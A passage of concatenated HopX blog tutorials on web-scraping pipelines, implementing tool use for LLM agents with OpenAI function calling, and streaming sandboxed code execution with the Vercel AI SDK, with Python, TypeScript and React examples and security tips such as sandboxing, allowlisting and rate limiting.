asyncio.run(scrape_with_crawl4ai(urls)) ``` ## Error Handling and Retry Logic Production pipelines need robust error handling: ```python import time from typing import Callable, Any def with_retry( func: Callable, max_retries: int = 3, delay: float = 2.0, backoff: float = 2.0 ) -> Any: """Execute function with exponential backoff retry.""" last_error = None current_delay = delay for attempt in range(max_retries): try: return func() except Exception as e: last_error = e print(f"Attempt {attempt + 1} failed: {e}") if attempt < max_retries - 1: print(f"Retrying in {current_delay}s...") time.sleep(current_delay) current_delay *= backoff raise last_error # Usage result = with_retry( lambda: firecrawl.scrape_url(url, params=params), max_retries=3, delay=2.0 ) ``` ## Best Practices ### 1. Respect Rate Limits ```python import time class RateLimiter: def __init__(self, requests_per_minute: int): self.min_interval = 60.0 / requests_per_minute self.last_request = 0 def wait(self): elapsed = time.time() - self.last_request if elapsed < self.min_interval: time.sleep(self.min_interval - elapsed) self.last_request = time.time() limiter = RateLimiter(requests_per_minute=10) ``` ### 2. Cache Scraped Data ```python import hashlib import json import os def get_cached_or_scrape(url: str, scrape_func: Callable) -> dict: """Return cached data or scrape fresh.""" cache_key = hashlib.md5(url.encode()).hexdigest() cache_file = f"/tmp/scrape_cache/{cache_key}.json" if os.path.exists(cache_file): with open(cache_file) as f: return json.load(f) data = scrape_func(url) os.makedirs("/tmp/scrape_cache", exist_ok=True) with open(cache_file, "w") as f: json.dump(data, f) return data ``` ### 3. Validate Data Quality ```python def validate_listings(listings: list) -> tuple: """Validate and filter listings.""" valid = [] invalid = [] for listing in listings: # Must have title and price if not listing.get("title") or not listing.get("price_per_night"): invalid.append(listing) continue valid.append(listing) print(f"Valid: {len(valid)}, Invalid: {len(invalid)}") return valid, invalid ``` ## Conclusion Combining Firecrawl and HopX gives you a powerful, safe web scraping pipeline: - **Firecrawl** handles the messy parts: JavaScript rendering, anti-bot measures, rate limits - **HopX** provides secure, isolated environments for data processing - **Together** they enable production-grade data pipelines without security risks This pattern works for any scraping task—real estate, e-commerce, job listings, or any data you need to extract and analyze. --- Ready to build your own data pipeline? [Get started with HopX](https://console.hopx.ai) for secure data processing. ## Further Reading - [LangChain Tools with Secure Code Execution](/blog/tutorials/langchain-tools-secure-code-execution) — Build AI agents with safe tools - [Feature Engineering in Sandboxes](/blog/tutorials/data-analysis-with-pandas-in-sandboxes) — More data processing patterns - [Firecrawl Documentation](https://docs.firecrawl.dev/) — Official Firecrawl docs - [Crawl4AI GitHub](https://github.com/unclecode/crawl4ai) — Open-source alternative --- ## Tool Use: How AI Agents Interact with the Real World URL: https://hopx.ai/blog/ai-agents/tool-use-pattern-ai-agents/ Category: AI Agents Published: 2025-11-26 # Tool Use: How AI Agents Interact with the Real World An LLM without tools is like a brain without a body. It can think, reason, and generate text—but it can't *do* anything. Tool use changes everything. Give an LLM access to tools, and suddenly it can search the web, query databases, execute code, send emails, and interact with any API. It transforms from a text generator into an autonomous agent. This guide shows you how to implement tool use properly—from basic function calling to complex multi-tool orchestration. ## What Is Tool Use? Tool use is a pattern where an LLM decides when and how to call external functions to accomplish a task: ``` ┌─────────────────────────────────────────────────────────────┐ │ User Query │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ LLM │ │ │ │ "I need to check the weather. I'll use the weather tool" │ │ │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌───────────────────────────────┐ │ Tool Call: get_weather │ │ Args: {"city": "London"} │ └───────────────────────────────┘ │ ▼ ┌───────────────────────────────┐ │ Tool Result: "15°C, Cloudy" │ └───────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ LLM │ │ │ │ "The weather in London is 15°C and cloudy." │ │ │ └─────────────────────────────────────────────────────────────┘ ``` The key insight: **the LLM doesn't execute tools directly**. It outputs a structured request (tool name + arguments), your code executes the tool, and you feed the result back to the LLM. ## Why Tools Matter Without tools, LLMs are limited to: - Knowledge frozen at training time - No access to private data - Can't take actions in the world - Can only generate text With tools, LLMs can: - Access real-time information - Query your databases - Execute code and analyze data - Send emails, create tickets, deploy code - Integrate with any API **Tools are what turn chat into action.** ## Basic Tool Implementation ### OpenAI Function Calling Here's the standard pattern with OpenAI: ```python import openai import json # Define tools tools = [ { "type": "function", "function": { "name": "get_weather", "description": "Get current weather for a city", "parameters": { "type": "object", "properties": { "city": { "type": "string", "description": "City name, e.g., 'London'" }, "units": { "type": "string", "enum": ["celsius", "fahrenheit"], "description": "Temperature units" } }, "required": ["city"] } } }, { "type": "function", "function": { "name": "search_web", "description": "Search the web for current information", "parameters": { "type": "object", "properties": { "query": { "type": "string", "description": "Search query" } }, "required": ["query"] } } } ] # Tool implementations def get_weather(city: str, units: str = "celsius") -> str: # In production, call a real weather API return f"Weather in {city}: 15°C, Cloudy" def search_web(query: str) -> str: # In production, use a search API return f"Search results for '{query}': ..." tool_functions = { "get_weather": get_weather, "search_web": search_web } # Main loop def run_agent(user_message: str) -> str: client = openai.OpenAI() messages = [{"role": "user", "content": user_message}] while True: response = client.chat.completions.create( model="gpt-4o", messages=messages, tools=tools ) message = response.choices[0].message # Check if LLM wants to use tools if message.tool_calls: # Add assistant message with tool calls messages.append(message) # Execute each tool for tool_call in message.tool_calls: function_name = tool_call.function.name arguments = json.loads(tool_call.function.arguments) # Call the actual function result = tool_functions[function_name](**arguments) # Add tool result to messages messages.append({ "role": "tool", "tool_call_id": tool_call.id, "content": result }) else: # No more tool calls, return final response return message.content # Usage response = run_agent("What's the weather in Tokyo and London?") print(response) ``` ## Tool Design Principles ### 1. Clear, Specific Descriptions The LLM decides which tool to use based on descriptions. Be precise: ```python # ❌ Bad: Vague description { "name": "search", "description": "Search for things" } # ✅ Good: Specific description { "name": "search_documentation", "description": "Search the official product documentation for API references, tutorials, and guides. Use for technical questions about how to use our product." } ``` ### 2. Constrained Parameters Use enums and clear types to prevent errors: ```python # ❌ Bad: Open-ended parameter { "name": "priority", "type": "string", "description": "Task priority" } # ✅ Good: Constrained parameter { "name": "priority", "type": "string", "enum": ["low", "medium", "high", "critical"], "description": "Task priority level" } ``` ### 3. Atomic Operations Each tool should do one thing well: ```python # ❌ Bad: Tool does too much { "name": "manage_user", "description": "Create, update, delete, or fetch user" } # ✅ Good: Separate tools { "name": "create_user", "description": "Create a new user account" } { "name": "get_user", "description": "Fetch user details by ID or email" } { "name": "update_user", "description": "Update user profile information" } ``` ### 4. Meaningful Return Values Return structured, actionable data: ```python # ❌ Bad: Just a status def create_task(title: str) -> str: # ... create task ... return "Task created" # ✅ Good: Return useful information def create_task(title: str) -> str: task = db.tasks.create(title=title) return json.dumps({ "task_id": task.id, "title": task.title, "status": "created", "url": f"https://app.example.com/tasks/{task.id}" }) ``` ## Code Execution as a Tool The most powerful tool you can give an LLM is the ability to execute code. But it's also the most dangerous. ### The Wrong Way (Never Do This) ```python # ⚠️ DANGEROUS: Never execute LLM-generated code directly def run_code(code: str) -> str: exec(code) # This can delete files, exfiltrate data, anything return "Done" ``` ### The Right Way: Sandboxed Execution ```python from hopx import Sandbox def run_python_code(code: str) -> str: """Execute Python code in an isolated sandbox""" sandbox = Sandbox.create(template="code-interpreter") try: # Write code to sandbox sandbox.files.write("/app/script.py", code) # Execute in isolation result = sandbox.commands.run("python /app/script.py", timeout=30) if result.exit_code == 0: return result.stdout else: return f"Error: {result.stderr}" finally: sandbox.kill() # Destroy sandbox completely # Define as a tool code_execution_tool = { "type": "function", "function": { "name": "run_python_code", "description": "Execute Python code to perform calculations, data analysis, or any programmatic task. Use this when you need to compute something precisely.", "parameters": { "type": "object", "properties": { "code": { "type": "string", "description": "Python code to execute. Must be complete and runnable." } }, "required": ["code"] } } } ``` The sandbox ensures: - Code can't access your host filesystem - Code can't make unauthorized network requests - Code can't persist beyond the execution - Resource limits prevent infinite loops See [Why AI Agents Need Isolated Code Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution) for more on security. ## Common Tool Categories ### Information Retrieval ```python tools = [ { "name": "search_web", "description": "Search the internet for current information" }, { "name": "search_docs", "description": "Search internal documentation and knowledge base" }, { "name": "get_url_content", "description": "Fetch and read content from a specific URL" }, { "name": "query_database", "description": "Run a read-only SQL query against the database" } ] ``` ### Data Operations ```python tools = [ { "name": "read_file", "description": "Read contents of a file" }, { "name": "write_file", "description": "Write content to a file" }, { "name": "analyze_csv", "description": "Load and analyze a CSV file using pandas" }, { "name": "create_chart", "description": "Generate a chart from data" } ] ``` ### Communication ```python tools = [ { "name": "send_email", "description": "Send an email to specified recipients" }, { "name": "send_slack_message", "description": "Post a message to a Slack channel" }, { "name": "create_ticket", "description": "Create a support ticket in the ticketing system" } ] ``` ### Actions ```python tools = [ { "name": "run_python_code", "description": "Execute Python code in a sandbox" }, { "name": "deploy_to_staging", "description": "Deploy the current branch to staging environment" }, { "name": "run_tests", "description": "Run the test suite and return results" } ] ``` ## Advanced: Multi-Tool Orchestration Real agents often need to use multiple tools in sequence: ```python import openai import json from hopx import Sandbox class ToolOrchestrator: def __init__(self): self.client = openai.OpenAI() self.tools = self._define_tools() self.max_iterations = 10 def run(self, task: str) -> str: messages = [ {"role": "system", "content": self._system_prompt()}, {"role": "user", "content": task} ] for _ in range(self.max_iterations): response = self.client.chat.completions.create( model="gpt-4o", messages=messages, tools=self.tools ) message = response.choices[0].message if not message.tool_calls: return message.content messages.append(message) # Execute all tool calls for tool_call in message.tool_calls: result = self._execute_tool( tool_call.function.name, json.loads(tool_call.function.arguments) ) messages.append({ "role": "tool", "tool_call_id": tool_call.id, "content": result }) return "Max iterations reached" def _execute_tool(self, name: str, args: dict) -> str: """Route to appropriate tool implementation""" if name == "search_web": return self._search_web(args["query"]) elif name == "run_python": return self._run_python(args["code"]) elif name == "read_file": return self._read_file(args["path"]) elif name == "write_file": return self._write_file(args["path"], args["content"]) else: return f"Unknown tool: {name}" def _run_python(self, code: str) -> str: """Execute Python in sandbox""" sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/code.py", code) result = sandbox.commands.run("python /app/code.py", timeout=60) output = result.stdout if result.exit_code == 0 else f"Error: {result.stderr}" return output[:5000] # Truncate long outputs finally: sandbox.kill() def _search_web(self, query: str) -> str: # Implement with your preferred search API return f"Search results for: {query}" def _read_file(self, path: str) -> str: sandbox = Sandbox.create(template="code-interpreter") try: content = sandbox.files.read(path) return content[:10000] except: return f"File not found: {path}" finally: sandbox.kill() def _write_file(self, path: str, content: str) -> str: sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write(path, content) return f"Successfully wrote to {path}" finally: sandbox.kill() def _define_tools(self) -> list: return [ { "type": "function", "function": { "name": "search_web", "description": "Search the web for current information", "parameters": { "type": "object", "properties": { "query": {"type": "string", "description": "Search query"} }, "required": ["query"] } } }, { "type": "function", "function": { "name": "run_python", "description": "Execute Python code for calculations, data analysis, or any programmatic task", "parameters": { "type": "object", "properties": { "code": {"type": "string", "description": "Complete Python code to execute"} }, "required": ["code"] } } }, { "type": "function", "function": { "name": "read_file", "description": "Read the contents of a file", "parameters": { "type": "object", "properties": { "path": {"type": "string", "description": "Path to the file"} }, "required": ["path"] } } }, { "type": "function", "function": { "name": "write_file", "description": "Write content to a file", "parameters": { "type": "object", "properties": { "path": {"type": "string", "description": "Path to the file"}, "content": {"type": "string", "description": "Content to write"} }, "required": ["path", "content"] } } } ] def _system_prompt(self) -> str: return """You are a helpful AI assistant with access to tools. Use tools when needed to complete tasks. You can: - Search the web for current information - Execute Python code for calculations and data analysis - Read and write files Think step by step. Use the most appropriate tool for each sub-task. When you have enough information to answer, provide a clear response.""" # Usage orchestrator = ToolOrchestrator() result = orchestrator.run( "Find the current Bitcoin price, calculate what 0.5 BTC would be worth, " "and save the result to a file called 'btc_value.txt'" ) print(result) ``` ## Parallel Tool Execution When tools are independent, run them in parallel: ```python import asyncio import openai async def execute_tools_parallel(tool_calls: list) -> list: """Execute multiple tool calls concurrently""" async def execute_single(tool_call): name = tool_call.function.name args = json.loads(tool_call.function.arguments) # Run in thread pool to avoid blocking loop = asyncio.get_event_loop() result = await loop.run_in_executor( None, lambda: tool_functions[name](**args) ) return { "tool_call_id": tool_call.id, "content": result } # Execute all tools concurrently results = await asyncio.gather(*[ execute_single(tc) for tc in tool_calls ]) return results # In the main loop if message.tool_calls: results = asyncio.run(execute_tools_parallel(message.tool_calls)) for result in results: messages.append({"role": "tool", **result}) ``` ## Error Handling Tools fail. Handle it gracefully: ```python def execute_tool_safely(name: str, args: dict) -> str: """Execute a tool with proper error handling""" try: # Validate tool exists if name not in tool_functions: return json.dumps({ "error": f"Unknown tool: {name}", "available_tools": list(tool_functions.keys()) }) # Execute with timeout import signal def timeout_handler(signum, frame): raise TimeoutError("Tool execution timed out") signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(30) # 30 second timeout try: result = tool_functions[name](**args) finally: signal.alarm(0) # Cancel timeout return result except TimeoutError as e: return json.dumps({ "error": "Tool execution timed out", "tool": name, "suggestion": "Try a simpler query or break into smaller steps" }) except TypeError as e: return json.dumps({ "error": f"Invalid arguments: {str(e)}", "tool": name, "received_args": args }) except Exception as e: return json.dumps({ "error": f"Tool execution failed: {str(e)}", "tool": name, "error_type": type(e).__name__ }) ``` ## Tool Use Patterns ### Pattern 1: Retrieval-Augmented Generation (RAG) Search first, then answer: ```python def rag_answer(question: str) -> str: # Step 1: Search for relevant information search_results = search_knowledge_base(question) # Step 2: Generate answer using retrieved context response = client.chat.completions.create( model="gpt-4o", messages=[ {"role": "system", "content": f"Use this context to answer: {search_results}"}, {"role": "user", "content": question} ] ) return response.choices[0].message.content ``` ### Pattern 2: Verification Loop Use tools to verify LLM outputs: ```python def verified_answer(question: str) -> str: # Generate initial answer answer = generate_answer(question) # Verify with tools verification = run_python(f""" # Verify the claim: {answer} # Check against authoritative sources result = verify_claim("{answer}") print(result) """) if "verified" in verification.lower(): return answer else: # Regenerate with verification feedback return generate_answer(f"{question}\n\nNote: {verification}") ``` ### Pattern 3: Progressive Disclosure Start with cheap tools, escalate as needed: ```python def progressive_search(query: str) -> str: # Level 1: Check cache (free, instant) cached = check_cache(query) if cached: return cached # Level 2: Search local docs (cheap, fast) local = search_local_docs(query) if is_sufficient(local): return local # Level 3: Search web (expensive, slow) web = search_web(query) cache_result(query, web) return web ``` ## Security Best Practices ### 1. Allowlist Tools Per Use Case ```python # Different tool sets for different contexts CUSTOMER_SUPPORT_TOOLS = ["search_faq", "create_ticket", "get_order_status"] ADMIN_TOOLS = ["run_sql", "modify_user", "deploy_code"] def get_tools_for_user(user_role: str) -> list: if user_role == "admin": return ADMIN_TOOLS else: return CUSTOMER_SUPPORT_TOOLS ``` ### 2. Validate All Inputs ```python def run_sql(query: str) -> str: # Validate: Read-only queries only if any(word in query.upper() for word in ["INSERT", "UPDATE", "DELETE", "DROP"]): return "Error: Only SELECT queries are allowed" # Validate: No system tables if "information_schema" in query.lower(): return "Error: System table access not allowed" # Execute return execute_query(query) ``` ### 3. Rate Limit Tool Calls ```python from collections import defaultdict import time tool_calls = defaultdict(list) def rate_limited_execute(user_id: str, tool_name: str, args: dict) -> str: now = time.time() recent_calls = [t for t in tool_calls[user_id] if now - t < 60] if len(recent_calls) >= 10: return "Error: Rate limit exceeded. Try again in a minute." tool_calls[user_id].append(now) return execute_tool(tool_name, args) ``` ### 4. Audit All Tool Usage ```python import logging def audited_execute(user_id: str, tool_name: str, args: dict) -> str: logging.info(f"TOOL_CALL | user={user_id} | tool={tool_name} | args={args}") result = execute_tool(tool_name, args) logging.info(f"TOOL_RESULT | user={user_id} | tool={tool_name} | result_length={len(result)}") return result ``` ## Measuring Tool Effectiveness Track these metrics: ```python from dataclasses import dataclass from datetime import datetime @dataclass class ToolMetrics: tool_name: str call_count: int success_rate: float avg_latency_ms: float error_types: dict def analyze_tool_usage(logs: list) -> dict: metrics = {} for tool_name in set(log["tool"] for log in logs): tool_logs = [l for l in logs if l["tool"] == tool_name] metrics[tool_name] = ToolMetrics( tool_name=tool_name, call_count=len(tool_logs), success_rate=sum(1 for l in tool_logs if l["success"]) / len(tool_logs), avg_latency_ms=sum(l["latency"] for l in tool_logs) / len(tool_logs), error_types=count_errors(tool_logs) ) return metrics ``` Key questions: - Which tools are used most? - Which tools fail most often? - Are there tools the LLM never uses? (Remove or improve descriptions) - Are there missing tools? (Check for failed attempts) ## Conclusion Tool use is what transforms LLMs from text generators into agents that can act in the world: - **Define clear tools** with specific descriptions - **Sandbox code execution** — never run LLM code directly - **Handle errors gracefully** — tools fail, plan for it - **Secure by default** — allowlist, validate, rate limit, audit Start with 2-3 essential tools. Add more only when you see the need. A focused agent with good tools beats a confused agent with many. --- Ready to add secure code execution to your agent's toolkit? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms. ## Further Reading - [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — The fundamentals of agentic systems - [Prompt Chaining](/blog/ai-agents/prompt-chaining-sequential-ai-workflows) — Combine tools in sequential workflows - [The Reflection Pattern](/blog/ai-agents/reflection-pattern-self-correcting-ai) — Use tools to verify and improve outputs - [Why AI Agents Need Isolated Code Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution) — Security for code execution tools - [OpenAI Function Calling Guide](https://platform.openai.com/docs/guides/function-calling) — Official documentation --- ## Vercel AI SDK: Streaming Code Execution with HopX URL: https://hopx.ai/blog/tutorials/vercel-ai-sdk-streaming-code-execution/ Category: Tutorials Published: 2025-11-26 # Vercel AI SDK: Streaming Code Execution with HopX The Vercel AI SDK makes building AI applications delightful. Streaming responses, tool calling, and React hooks that "just work." But when your AI needs to execute code, you hit a wall: where do you run it safely? This tutorial shows how to integrate HopX sandboxes with the Vercel AI SDK for real-time, streaming code execution. Your users see output as it happens, character by character. ## What We're Building ``` ┌─────────────────────────────────────────────────────────────────┐ │ User Chat Interface │ │ │ │ User: "Calculate the factorial of 100" │ │ │ │ Assistant: I'll calculate that for you... │ │ │ │ ┌────────────────────────────────────────────────────────┐ │ │ │ >>> Executing Python... │ │ │ │ factorial(100) = 933262154439441526816992388... │ │ ← Streaming │ │ ✓ Completed in 0.3s │ │ │ └────────────────────────────────────────────────────────┘ │ │ │ │ The factorial of 100 is a 158-digit number: 9.33×10^157 │ └─────────────────────────────────────────────────────────────────┘ ``` ## Prerequisites ```bash npm install ai @ai-sdk/openai @hopx-ai/sdk ``` Set environment variables: ```bash OPENAI_API_KEY=sk-... HOPX_API_KEY=... ``` ## Project Structure ``` app/ ├── api/ │ └── chat/ │ └── route.ts # AI chat endpoint with tool calling ├── components/ │ ├── chat.tsx # Chat UI component │ └── code-output.tsx # Streaming code output display └── page.tsx # Main page ``` ## Step 1: Create the Chat API Route The API route handles chat messages and tool execution: ```typescript // app/api/chat/route.ts import { openai } from '@ai-sdk/openai'; import { streamText, tool } from 'ai'; import { z } from 'zod'; import { Sandbox } from '@hopx-ai/sdk'; // Allow streaming responses up to 60 seconds export const maxDuration = 60; export async function POST(req: Request) { const { messages } = await req.json(); const result = streamText({ model: openai('gpt-4o'), system: `You are a helpful AI assistant that can execute Python code. When users ask you to calculate, analyze data, or do anything that requires computation: 1. Write Python code to accomplish the task 2. Use the execute_python tool to run it 3. Explain the results clearly The sandbox has pandas, numpy, matplotlib, and standard libraries. For charts, save to /app/output.png.`, messages, tools: { execute_python: tool({ description: 'Execute Python code in a secure sandbox. Use for calculations, data analysis, and any computational task.', parameters: z.object({ code: z.string().describe('Python code to execute'), description: z.string().describe('Brief description of what this code does'), }), execute: async ({ code, description }) => { const sandbox = await Sandbox.create({ template: 'code-interpreter', apiKey: process.env.HOPX_API_KEY, }); try { const result = await sandbox.runCode(code, { language: 'python', timeout: 30, }); return { success: result.exitCode === 0, output: result.stdout || '', error: result.stderr || '', exitCode: result.exitCode, description, }; } finally { await sandbox.kill(); } }, }), }, // Maximum tool invocations per message maxSteps: 5, }); return result.toDataStreamResponse(); } ``` ## Step 2: Create the Chat Component A React component using the `useChat` hook: ```tsx // app/components/chat.tsx 'use client'; import { useChat } from 'ai/react'; import { CodeOutput } from './code-output'; export function Chat() { const { messages, input, handleInputChange, handleSubmit, isLoading } = useChat({ api: '/api/chat', }); return (
{/* Messages */}
{messages.map((message) => (
{/* Render text content */}

{message.content}

{/* Render tool invocations */} {message.toolInvocations?.map((invocation) => ( ))}
))} {isLoading && (
Thinking...
)}
{/* Input form */}
); } ``` ## Step 3: Create the Code Output Component Display code execution results with syntax highlighting: ```tsx // app/components/code-output.tsx 'use client'; import { ToolInvocation } from 'ai'; interface CodeOutputProps { invocation: ToolInvocation; } export function CodeOutput({ invocation }: CodeOutputProps) { // Extract tool result if available const result = 'result' in invocation ? invocation.result : null; const args = invocation.args as { code: string; description: string }; const isComplete = 'result' in invocation; const success = result?.success; return (
{/* Header */}
Python {args.description}
{!isComplete && ( Executing... )} {isComplete && success && ( Success )} {isComplete && !success && ( Error )}
{/* Code */} 
          {args.code}
{/* Output */} {isComplete && (
Output
{result.output && ( 
                {result.output}
)} {result.error && ( 
                {result.error}
)} {!result.output && !result.error && ( No output )}
)}
); } ``` ## Step 4: Wire It Up Create the main page: ```tsx // app/page.tsx import { Chat } from './components/chat'; export default function Home() { return (
); } ``` ## Advanced: True Streaming Output The basic implementation waits for code to finish before showing output. For real-time streaming, we need a custom approach: ### Streaming API Route ```typescript // app/api/execute/route.ts import { NextRequest } from 'next/server'; import { Sandbox } from '@hopx-ai/sdk'; export async function POST(req: NextRequest) { const { code, language = 'python' } = await req.json(); const encoder = new TextEncoder(); const stream = new ReadableStream({ async start(controller) { const sandbox = await Sandbox.create({ template: 'code-interpreter', apiKey: process.env.HOPX_API_KEY, }); try { // Send status controller.enqueue( encoder.encode(`data: ${JSON.stringify({ type: 'status', message: 'Executing...' })}\n\n`) ); const result = await sandbox.runCode(code, { language, timeout: 60, }); // Send output if (result.stdout) { controller.enqueue( encoder.encode(`data: ${JSON.stringify({ type: 'stdout', text: result.stdout })}\n\n`) ); } if (result.stderr) { controller.enqueue( encoder.encode(`data: ${JSON.stringify({ type: 'stderr', text: result.stderr })}\n\n`) ); } // Send completion controller.enqueue( encoder.encode(`data: ${JSON.stringify({ type: 'done', exitCode: result.exitCode, success: result.exitCode === 0 })}\n\n`) ); } catch (error) { controller.enqueue( encoder.encode(`data: ${JSON.stringify({ type: 'error', message: error instanceof Error ? error.message : 'Execution failed' })}\n\n`) ); } finally { await sandbox.kill(); controller.close(); } }, }); return new Response(stream, { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', }, }); } ``` ### Streaming Hook ```tsx // hooks/use-code-execution.ts 'use client'; import { useState, useCallback } from 'react'; interface ExecutionState { status: 'idle' | 'running' | 'done' | 'error'; stdout: string; stderr: string; exitCode: number | null; error: string | null; } export function useCodeExecution() { const [state, setState] = useState({ status: 'idle', stdout: '', stderr: '', exitCode: null, error: null, }); const execute = useCallback(async (code: string, language = 'python') => { setState({ status: 'running', stdout: '', stderr: '', exitCode: null, error: null, }); try { const response = await fetch('/api/execute', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ code, language }), }); const reader = response.body?.getReader(); const decoder = new TextDecoder(); if (!reader) { throw new Error('No response body'); } let buffer = ''; while (true) { const { done, value } = await reader.read(); if (done) break; buffer += decoder.decode(value, { stream: true }); const lines = buffer.split('\n'); buffer = lines.pop() || ''; for (const line of lines) { if (line.startsWith('data: ')) { try { const data = JSON.parse(line.slice(6)); switch (data.type) { case 'status': // Update status message if needed break; case 'stdout': setState((prev) => ({ ...prev, stdout: prev.stdout + data.text, })); break; case 'stderr': setState((prev) => ({ ...prev, stderr: prev.stderr + data.text, })); break; case 'done': setState((prev) => ({ ...prev, status: 'done', exitCode: data.exitCode, })); break; case 'error': setState((prev) => ({ ...prev, status: 'error', error: data.message, })); break; } } catch { // Ignore parse errors } } } } } catch (error) { setState((prev) => ({ ...prev, status: 'error', error: error instanceof Error ? error.message : 'Unknown error', })); } }, []); const reset = useCallback(() => { setState({ status: 'idle', stdout: '', stderr: '', exitCode: null, error: null, }); }, []); return { ...state, execute, reset }; } ``` ### Streaming Code Block Component ```tsx // components/streaming-code-block.tsx 'use client'; import { useState } from 'react'; import { useCodeExecution } from '@/hooks/use-code-execution'; import { Play, Loader2, RotateCcw } from 'lucide-react'; interface StreamingCodeBlockProps { code: string; language?: string; } export function StreamingCodeBlock({ code, language = 'python' }: StreamingCodeBlockProps) { const { status, stdout, stderr, exitCode, error, execute, reset } = useCodeExecution(); const [showOutput, setShowOutput] = useState(false); const handleRun = async () => { setShowOutput(true); await execute(code, language); }; return (
{/* Code header */}
{language}
{status === 'idle' && ( )} {status === 'running' && ( Running... )} {(status === 'done' || status === 'error') && ( )}
{/* Code content */} 
        {code}
{/* Output panel */} {showOutput && (
Output {status === 'done' && exitCode !== null && ( Exit code: {exitCode} )}
{stdout && 
{stdout}
} {stderr && 
{stderr}
} {error && 
{error}
} {status === 'running' && !stdout && !stderr && ( Waiting for output... )}
)}
); } ``` ## Integration with AI SDK Tools Combine the streaming execution with AI SDK tool calling: ```typescript // app/api/chat/route.ts import { openai } from '@ai-sdk/openai'; import { streamText, tool } from 'ai'; import { z } from 'zod'; import { Sandbox } from '@hopx-ai/sdk'; // Persistent sandbox for conversation let sandbox: Sandbox | null = null; async function getOrCreateSandbox() { if (!sandbox) { sandbox = await Sandbox.create({ template: 'code-interpreter', apiKey: process.env.HOPX_API_KEY, ttl: 300, // 5 minutes }); } return sandbox; } export async function POST(req: Request) { const { messages } = await req.json(); const result = streamText({ model: openai('gpt-4o'), messages, tools: { execute_python: tool({ description: 'Execute Python code. State persists between calls.', parameters: z.object({ code: z.string(), }), execute: async ({ code }) => { const sb = await getOrCreateSandbox(); const result = await sb.runCode(code, { language: 'python', timeout: 30, }); return { output: result.stdout, error: result.stderr, success: result.exitCode === 0, }; }, }), install_package: tool({ description: 'Install a Python package using pip', parameters: z.object({ package: z.string().describe('Package name to install'), }), execute: async ({ package: pkg }) => { const sb = await getOrCreateSandbox(); const result = await sb.runCode(`pip install ${pkg}`, { language: 'bash', timeout: 60, }); return { success: result.exitCode === 0, output: result.stdout, error: result.stderr, }; }, }), read_file: tool({ description: 'Read a file from the sandbox', parameters: z.object({ path: z.string().describe('File path to read'), }), execute: async ({ path }) => { const sb = await getOrCreateSandbox(); try { const content = await sb.files.read(path); return { success: true, content }; } catch (e) { return { success: false, error: e instanceof Error ? e.message : 'File not found' }; } }, }), write_file: tool({ description: 'Write content to a file in the sandbox', parameters: z.object({ path: z.string().describe('File path to write'), content: z.string().describe('Content to write'), }), execute: async ({ path, content }) => { const sb = await getOrCreateSandbox(); try { await sb.files.write(path, content); return { success: true, path }; } catch (e) { return { success: false, error: e instanceof Error ? e.message : 'Write failed' }; } }, }), }, maxSteps: 10, }); return result.toDataStreamResponse(); } ``` ## Multi-Language Support Extend the tools to support multiple languages: ```typescript import { z } from 'zod'; const executeCode = tool({ description: 'Execute code in Python, JavaScript, TypeScript, or Bash', parameters: z.object({ code: z.string().describe('Code to execute'), language: z.enum(['python', 'javascript', 'typescript', 'bash']) .describe('Programming language'), }), execute: async ({ code, language }) => { const sandbox = await Sandbox.create({ template: 'code-interpreter', apiKey: process.env.HOPX_API_KEY, }); try { const result = await sandbox.runCode(code, { language, timeout: 30, }); return { language, output: result.stdout, error: result.stderr, success: result.exitCode === 0, }; } finally { await sandbox.kill(); } }, }); ``` ## Error Handling Best Practices ```typescript // Wrap tool execution with error handling const safeExecute = async (fn: () => Promise) => { try { return await fn(); } catch (error) { if (error instanceof Error) { // Check for specific error types if (error.message.includes('timeout')) { return { success: false, error: 'Code execution timed out. Try simplifying your code.', }; } if (error.message.includes('memory')) { return { success: false, error: 'Out of memory. Try processing smaller data chunks.', }; } } return { success: false, error: 'Execution failed. Please try again.', }; } }; // Use in tool execute: async ({ code }) => { return safeExecute(async () => { const sandbox = await Sandbox.create({ ... }); // ... execution code }); }, ``` ## Production Considerations ### 1. Rate Limiting ```typescript import { Ratelimit } from '@upstash/ratelimit'; import { Redis } from '@upstash/redis'; const ratelimit = new Ratelimit({ redis: Redis.fromEnv(), limiter: Ratelimit.slidingWindow(10, '1 m'), // 10 requests per minute }); export async function POST(req: Request) { const ip = req.headers.get('x-forwarded-for') ?? 'anonymous'; const { success } = await ratelimit.limit(ip); if (!success) { return new Response('Rate limit exceeded', { status: 429 }); } // ... rest of handler } ``` ### 2. Input Validation ```typescript const MAX_CODE_LENGTH = 10000; execute: async ({ code }) => { if (code.length > MAX_CODE_LENGTH) { return { success: false, error: `Code exceeds maximum length of ${MAX_CODE_LENGTH} characters`, }; } // ... execution }, ``` ### 3. Sandbox Pooling ```typescript // For high-traffic applications, maintain a pool of warm sandboxes class SandboxPool { private pool: Sandbox[] = []; private maxSize = 5; async acquire(): Promise { if (this.pool.length > 0) { return this.pool.pop()!; } return Sandbox.create({ template: 'code-interpreter' }); } release(sandbox: Sandbox) { if (this.pool.length < this.maxSize) { this.pool.push(sandbox); } else { sandbox.kill(); } } } ``` ## Complete Example Here's a full working Next.js app: ```typescript // app/api/chat/route.ts import { openai } from '@ai-sdk/openai'; import { streamText, tool } from 'ai'; import { z } from 'zod'; import { Sandbox } from '@hopx-ai/sdk'; export const maxDuration = 60; export async function POST(req: Request) { const { messages } = await req.json(); const result = streamText({ model: openai('gpt-4o'), system: `You are a helpful coding assistant. Execute Python code to answer questions.`, messages, tools: { python: tool({ description: 'Execute Python code', parameters: z.object({ code: z.string() }), execute: async ({ code }) => { const sandbox = await Sandbox.create({ template: 'code-interpreter', apiKey: process.env.HOPX_API_KEY, }); try { const result = await sandbox.runCode(code, { language: 'python', timeout: 30, }); return { output: result.stdout || 'No output', error: result.stderr, success: result.exitCode === 0, }; } finally 